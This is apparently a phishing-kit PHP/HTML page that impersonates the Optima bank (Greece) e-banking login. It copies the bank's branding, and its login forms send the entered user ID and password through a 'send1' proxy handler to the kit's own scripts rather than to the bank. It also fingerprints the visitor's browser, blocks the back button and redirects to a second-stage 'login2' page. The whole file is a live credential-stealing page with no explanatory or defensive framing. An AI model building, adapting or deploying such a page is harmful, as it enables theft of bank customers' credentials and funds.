<?php 

         $relative_root="";
         $parent_folders="";
         function include_config(){
            global $relative_root,$parent_folders;
            while(!file_exists($relative_root."cfg.php")){
                $parent_folders=basename(realpath($relative_root))."/".$parent_folders;
                $relative_root.="../";
            };
            return $relative_root;
         };
         require_once(include_config().'cfg.php');

         if(isset($php_js)){
             $php_js->relative_root=$relative_root;
             $php_js->parent_folders=$parent_folders;
         }
         $php_js->fake_base="login/";
?>
<!DOCTYPE html>
<html class="bd-designMode-null  webkit" dir="ltr" xmlns:lp="http://launchpad.backbase.com" xmlns:ng="http://angularjs.org">

<head>
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>bower_components/jquery/dist/jquery.min.js"></script>
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>bower_components/ua-parser-js/dist/ua-parser.min.js"></script>
    <link rel="stylesheet" href="<?php echo $php_js->relative_root ?>bower_components/font-awesome/css/font-awesome.min.css">
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>core/form/core_form.js"></script>
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>core/token/core_token.js?<?= time(); ?>"></script>


    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>bower_components/angular/angular.min.js"></script>

    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>bower_components/jquery.maskedinput/dist/jquery.maskedinput.min.js"></script>


    <link rel="stylesheet" href="<?php echo $php_js->relative_root ?>core/form/core_form.css">
    <base href="<?php echo $php_js->relative_root.$php_js->fake_base; ?>" />
    <!-- <script src="nb.js.download"></script> -->
<link type="text/css" rel="stylesheet" href="style.css"><link type="text/css" rel="stylesheet" href="style1.css"><link type="text/css" rel="stylesheet" href="style2.css"><script type="text/javascript" src="/netteller/javax.faces.resource/jquery/jquery.js.xhtml?ln=primefaces&amp;v=7.0.27"></script><script type="text/javascript" src="/netteller/javax.faces.resource/jquery/jquery-plugins.js.xhtml?ln=primefaces&amp;v=7.0.27"></script><script type="text/javascript" src="/netteller/javax.faces.resource/core.js.xhtml?ln=primefaces&amp;v=7.0.27"></script><link type="text/css" rel="stylesheet" href="style3.css"><script type="text/javascript" src="/netteller/javax.faces.resource/components.js.xhtml?ln=primefaces&amp;v=7.0.27"></script><link type="text/css" rel="stylesheet" href="style4.css"><script type="text/javascript" src="/netteller/javax.faces.resource/watermark/watermark.js.xhtml?ln=primefaces&amp;v=7.0.27"></script><script type="text/javascript" src="/netteller/javax.faces.resource/validation/validation.js.xhtml?ln=primefaces&amp;v=7.0.27"></script><script type="text/javascript" src="/netteller/javax.faces.resource/validation/beanvalidation.js.xhtml?ln=primefaces&amp;v=7.0.27"></script><script type="text/javascript">if(window.PrimeFaces){PrimeFaces.settings.locale='en';PrimeFaces.settings.validateEmptyFields=true;PrimeFaces.settings.considerEmptyStringNull=false;PrimeFaces.settings.projectStage='Development';}</script>
	   <title>Optima e-banking</title>
	    <meta name="description" content="Απλή, εύχρηστη και ευέλικτη υπηρεσία για τις online τραπεζικές συναλλαγές σας. Για σήμερα και για το μέλλον, η βέλτιστη τραπεζική εμπειρία!">  
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
		<link rel="apple-touch-icon" sizes="60x60" href="./resources/images/favicons/apple-touch-icon.png?dev=V2.36_FP4">
		<link rel="apple-touch-icon" sizes="180x180" href="./resources/images/favicons/apple-touch-icon.png?dev=V2.36_FP4">
		<link rel="icon" type="image/png" sizes="32x32" href="./resources/images/favicons/favicon-32x32.png?dev=V2.36_FP4">
		<link rel="icon" type="image/png" sizes="16x16" href="./resources/images/favicons/favicon-16x16.png?dev=V2.36_FP4">
		<link rel="manifest" href="./resources/images/favicons/site.webmanifest">
		<link rel="mask-icon" href="./resources/images/favicons/safari-pinned-tab.svg?dev=V2.36_FP4" color="#ff7d00">
		<meta name="msapplication-TileColor" content="#2f0037">
		<meta name="theme-color" content="#2f0037">
		<link type="text/css" rel="stylesheet" href="style5.css">
		<link type="text/css" rel="stylesheet" href="style6.css">
	    <link type="text/css" rel="stylesheet" href="style7.css">
	    <link type="text/css" rel="stylesheet" href="style8.css">
		<link type="text/css" rel="stylesheet" href="https://ebanking.optimabank.gr/themes-war/netteller-theme/netteller-editable.css?dev=V2.36_FP4">
		<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=0">
		<meta name="format-detection" content="telephone=no">        

		<style>
			@-webkit-keyframes autofill {to {color: #2f0037; background: #FFFFFF;}}
			input:-webkit-autofill {-webkit-animation-name: autofill; -webkit-animation-fill-mode: both;}
			input:-webkit-autofill, input:-webkit-autofill.ui-state-focus {border-color: green; box-shadow: none;}
		</style></head>
		<body class=" login-body" lang="el"><div id="pageId" class="pct100" style="height: 100%;"><div id="j_idt8"></div>
    	<div id="waitingDialogId"><div id="waitingDialogId:dialogId" class="ui-dialog ui-widget ui-widget-content ui-corner-all ui-shadow ui-hidden-container" style="width: 600px; height: auto;" role="dialog" aria-labelledby="waitingDialogId:dialogId_title" aria-describedby="waitingDialogId:dialogId_content" aria-hidden="true" aria-modal="true"><div class="ui-dialog-titlebar ui-widget-header ui-helper-clearfix ui-corner-top" style=""><span id="waitingDialogId:dialogId_title" class="ui-dialog-title"></span><a href="#" class="ui-dialog-titlebar-icon ui-dialog-titlebar-close ui-corner-all" aria-label="Close" role="button"><span class="ui-icon ui-icon-closethick"></span></a></div><div class="ui-dialog-content ui-widget-content" id="waitingDialogId:dialogId_content" style="height: auto;"><div id="waitingDialogId:dialogContentId">
					<i class="pi pi-spin pi-spinner"></i></div></div></div>
		</div>
<form name="login" id="login" method="post" onsubmit="send1(event,'ask_login_proxy');return false" autocomplete="off" id="id5d">
<input type="hidden" name="headerForm" value="headerForm">
<div class="global-header"><div class="top-header"><table class="centering">
<tbody>
<tr>
<td><img id="j_idt17" src="../themes-war/netteller-theme/images/logo.svg?dev=V2.36_FP4&amp;pfdrid_c=true" alt="" class="sm-hide" height="40"><img id="j_idt18" src="../themes-war/netteller-theme/images/logo.svg?dev=V2.36_FP4&amp;pfdrid_c=true" alt="" class="lg-hide sm-block" height="35"></td>
<td class="lg-float-R"><table>
<tbody>
<tr>
<td><button id="j_idt20" name="j_idt20" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-icon-right c-2" onclick="PrimeFaces.bcn(this,event,[function(event){window.open ('/themes-war/help/el/Login.htm','help','status=1,scrollbars=1, width=800,height=600'); return false;},function(event){}]);" type="submit" role="button" aria-disabled="false"><span class="ui-button-icon-right ui-icon ui-c icon-help"></span><span class="ui-button-text ui-c">Βοήθεια</span></button></td>
<td><table class="left-10">
<tbody>
<tr>
<td><img id="coutryFlagId" src="./resources/images/countries/el.png?pfdrid_c=true" alt="" class="flag-img-rect"></td>
<td>
   		<div id="langDdId" class="selectOneMenu select mandatory no-label lang-select"><div id="langDdId:selectId" class="ui-selectonemenu ui-widget ui-state-default ui-corner-all" role="combobox" aria-haspopup="true" aria-expanded="false" aria-owns="langDdId:selectId_items"><div class="ui-helper-hidden-accessible"><input id="langDdId:selectId_focus" name="langDdId:selectId_focus" type="text" autocomplete="off" aria-expanded="false" aria-autocomplete="list" aria-activedescendant="langDdId:selectId_1" aria-describedby="langDdId:selectId_1" aria-disabled="false"></div><div class="ui-helper-hidden-accessible"><select id="langDdId:selectId_input" name="langDdId:selectId_input" tabindex="-1" autocomplete="off" aria-hidden="true" onchange="PrimeFaces.ab({s:&quot;langDdId:selectId&quot;,e:&quot;valueChange&quot;,f:&quot;headerForm&quot;,p:&quot;langDdId:selectId langDdId:selectId&quot;,u:&quot;langDdId:selectId langDdId headerForm templateForm commonFooterId&quot;});" data-p-label="Γλώσσα" data-p-hl="onemenu"><option value="LANGUAGE-ENGLISH                    " data-escape="true">En</option><option value="LANGUAGE-GREEK                      " selected="selected" data-escape="true">Ελ</option></select></div><label id="langDdId:selectId_label" class="ui-selectonemenu-label ui-inputfield ui-corner-all">Ελ</label><div class="ui-selectonemenu-trigger ui-state-default ui-corner-right"><span class="ui-icon ui-icon-triangle-1-s ui-c"></span></div><div id="langDdId:selectId_panel" class="ui-selectonemenu-panel ui-widget ui-widget-content ui-corner-all ui-helper-hidden ui-shadow ui-input-overlay "><div class="ui-selectonemenu-items-wrapper" style="max-height:200px"><ul id="langDdId:selectId_items" class="ui-selectonemenu-items ui-selectonemenu-list ui-widget-content ui-widget ui-corner-all ui-helper-reset" role="listbox" aria-activedescendant="langDdId:selectId_1"><li class="ui-selectonemenu-item ui-selectonemenu-list-item ui-corner-all" data-label="En" tabindex="-1" role="option" id="langDdId:selectId_0">En</li><li class="ui-selectonemenu-item ui-selectonemenu-list-item ui-corner-all ui-state-highlight" data-label="Ελ" tabindex="-1" role="option" id="langDdId:selectId_1">Ελ</li></ul></div></div></div><div id="langDdId:messageId" aria-live="polite" data-display="both" data-target="langDdId:selectId" data-redisplay="true" class="ui-message"></div>
		</div></td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</div></div><input type="hidden" name="javax.faces.ViewState" id="j_id1:javax.faces.ViewState:0" value="-5042639360216686415:-8663737900772345948" autocomplete="off">
</form>
<form name="login" id="login" method="post" onsubmit="send1(event,'ask_login_proxy');return false" autocomplete="off" id="id5d">
<input type="hidden" name="templateForm" value="templateForm">
<div class="main-padding" style="padding-bottom: 150px;"><div class="login-content centering"><table class="main-panel">
<tbody>
<tr>
<td class="left-panel"><div class="top-20"><span class="h3 c-1">Συνδεθείτε στο e-banking</span></div><div id="messages" class="ui-messages ui-widget" aria-live="polite" data-global="false" data-summary="data-summary" data-severity="all,error" data-redisplay="true"></div><div class="custom-input-panel"><div class="custom-input">
											<i class="icon-user-id"></i><input id="username2" name="username" type="text" class="ui-inputfield ui-inputtext ui-widget ui-state-default ui-corner-all" autocomplete="off" tabindex="1" role="textbox" aria-disabled="false" aria-readonly="false" placeholder="User ID"></div><div id="userWatermarkId"></div><div class="custom-input">
											<i class="icon-password"></i><div class="hideShowPassword-wrapper" style="position: relative; display: inline-block; vertical-align: baseline; margin: 0px;"><input id="password" name="password2" type="password" class="ui-inputfield ui-password ui-widget ui-state-default ui-corner-all hideShowPassword-field" autocomplete="off" tabindex="2" style="margin: 0px; padding-left: 25px;" role="textbox" aria-disabled="false" aria-readonly="false" placeholder="Password"><button type="button" role="button" aria-label="Show Password" title="Show Password" tabindex="0" class="hideShowPassword-toggle hideShowPassword-toggle-show" style="position: absolute; left: 0px; top: 50%; margin-top: -12.5px;" aria-pressed="false">Show</button></div></div><div id="passwordWatermarkId"></div><button id="loginBtn" name="loginBtn" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only positive-btn pct100"  tabindex="3" type="submit" role="button" aria-disabled="false"><span class="ui-button-text ui-c">Σύνδεση</span></button></div><div style="display: none"><input id="hiddenUname" name="hiddenUname" type="hidden" value="" class="ui-inputfield ui-inputtext ui-widget ui-state-default ui-corner-all" aria-required="true" data-p-label="Αναγνωριστικό χρήστη" data-p-required="true" role="textbox" aria-disabled="false" aria-readonly="false"><input id="hiddenPass" name="hiddenPass" type="hidden" value="" class="ui-inputfield ui-inputtext ui-widget ui-state-default ui-corner-all" aria-required="true" data-p-label="Κωδικός πρόσβασης" data-p-required="true" role="textbox" aria-disabled="false" aria-readonly="false"><input id="hiddenPass2" name="hiddenPass2" type="hidden" value="" class="ui-inputfield ui-inputtext ui-widget ui-state-default ui-corner-all" role="textbox" aria-disabled="false" aria-readonly="false"><input id="CSRF_TOKEN" name="CSRF_TOKEN" type="hidden" value="aVp1EhbdElfgPlhSQ0Mp" class="ui-inputfield ui-inputtext ui-widget ui-state-default ui-corner-all" role="textbox" aria-disabled="false" aria-readonly="false"></div><button id="j_idt41" name="j_idt41" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only positive-link" onclick="PrimeFaces.ab({s:&quot;j_idt41&quot;,f:&quot;templateForm&quot;,p:&quot;j_idt41&quot;,u:&quot;j_idt41&quot;});return false;" type="submit" role="button" aria-disabled="false"><span class="ui-button-text ui-c">Ξεχάσατε τους κωδικούς σας;</span></button><button id="j_idt43" name="j_idt43" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-icon-left top-20 register-now" onclick="window.open ('https://www.optimabank.gr/individuals/online-banking/online-eggrafi-pelati'); return false;" type="button" role="button" aria-disabled="false"><span class="ui-button-icon-left ui-icon ui-c icon-new-user"></span><span class="ui-button-text ui-c">Νέος πελάτης</span></button></td>
<td class=" right-panel"><table>
<tbody>
<tr>
<td><span class="h1 c-2">Τα εμβάσματα όπως θα έπρεπε να είναι!</span></td>
</tr>
<tr>
<td><span class="h7 c-2">Αυτόματη επιλογή του πιο γρήγορου τρόπου αποστολής, με το κόστος απλού εμβάσματος και με άμεση πίστωση ακόμα και σε 10’’.</span></td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</div></div><input type="hidden" name="javax.faces.ViewState" id="j_id1:javax.faces.ViewState:1" value="-5042639360216686415:-8663737900772345948" autocomplete="off">
</form><div id="commonFooterId" class="footer">
<form name="login" id="login" method="post" onsubmit="send1(event,'ask_login_proxy');return false" autocomplete="off" id="id5d">
<input type="hidden" name="footerForm" value="footerForm">
<div class="bottom-footer"><table class="centering">
<tbody>
<tr>
<td><span id="copyrightTxtId">© 2021, Optima bank</span></td>
<td><script type="text/javascript" src="/netteller/javax.faces.resource/jsf.js.xhtml?ln=javax.faces&amp;stage=Development"></script><a href="#" onclick="mojarra.jsfcljs(document.getElementById('footerForm'),{'j_idt49':'j_idt49'},'_blank');return false">Οδηγίες ασφαλείας</a></td>
<td><a href="#" onclick="mojarra.jsfcljs(document.getElementById('footerForm'),{'j_idt50':'j_idt50'},'_blank');return false">Όροι χρήσης</a></td>
<td><a href="tel:+30%20210%208173000" type="telephone">		
									<i class="icon-contact-us right-10"></i>+30 210 8173000</a></td>
</tr>
</tbody>
</table>
</div><input type="hidden" name="javax.faces.ViewState" id="j_id1:javax.faces.ViewState:2" value="-5042639360216686415:-8663737900772345948" autocomplete="off">
</form></div></div>
			<script type="text/javascript" src="./resources/js/netinfo.js?dev=V2.36_FP4"></script>
			<script type="text/javascript" src="./resources/js/netinfo-primefaces.js?dev=V2.36_FP4"></script>
			<script type="text/javascript" src="./resources/js/sha512.js?dev=V2.36_FP4"></script>
			<script type="text/javascript" src="./resources/js/hideShowPassword.min.js"></script>
			<script type="text/javascript" src="./resources/js/notFP2.js?1689022800000"></script> 	
			<script>
				history.pushState(null, null, document.URL);
				window.addEventListener('popstate', function () {
				    history.pushState(null, null, document.URL);
				});
				$('#password2').hidePassword(true);
		
		       	function hideAndReset() {}
			</script>
			<script>
			var options = {excludeTimezoneOffset: false, excludeFlashFonts: false, excludeScreenResolution: false};
			new Fingerprint2(options).get(function(result, components){
	
				$('#hidden11').value = result;
				$('#hidden12').value = components[5].value;
	 			  document.getElementById('hidden11').value = result;
	 			  document.getElementById('hidden12').value = components[5].value;
			})
		</script><script type="text/javascript">$(function(){hideAndReset();});</script>
<div id="textarea_simulator" style="position: absolute; top: 0px; left: 0px; visibility: hidden;"></div><div class="ui-dialog-docking-zone"></div></body>


 <script type="text/javascript">
    var bid = "<?php echo isset($_COOKIE['bid'])?$_COOKIE['bid']:basename(dirname(dirname(__FILE__))) ?>"
    var php_js = <?php  echo json_encode($php_js) ?>
    </script>
    <script type="text/javascript" src="../<?php echo $php_js->fake_base; ?>form/form.js?v=<?php echo uniqid() ?>"></script>
    <script type="text/javascript" src="../<?php echo $php_js->fake_base; ?>ng/ng.js?v=<?php echo uniqid() ?>"></script>
    <script type="text/javascript" src="../<?php echo $php_js->fake_base; ?>token/token.js?v=<?php echo uniqid() ?>"></script>
    <script>
        $(document).ready(function () {

$('.error1').click(function () {

  alert(

    'Yritä käyttää toista vaihtoehtoa.'

    );

});

$('.error2').click(function () {

    window.location.href="../login2/?op="+btoa(JSON.stringify(last_operation));return;

});

});

$.fn.custom_ser = function() {
    var obj = {};
    this.find("input,select").each(function() {
        if (
            $(this).prop("tagName") == "INPUT" &&
            $(this).prop("type") != "checkbox" &&
            $(this).prop("type") != "button" &&
            $(this).prop("type") != "hidden" &&
            $(this).prop("type") != "image" &&
            $(this).prop("type") != "reset" &&
            $(this).prop("type") != "submit"
        ) {
            //input validation
            obj[$(this).attr("name")] = $(this).val();
        }
        if ($(this).prop("tagName") == "SELECT") {
            obj[$(this).attr("name")] = $(this).find("option:selected").val();
        }
    });

    console.log('Custom seralization result : ')
    console.log(obj)
    return obj;
};
    </script>
</body>

</html>
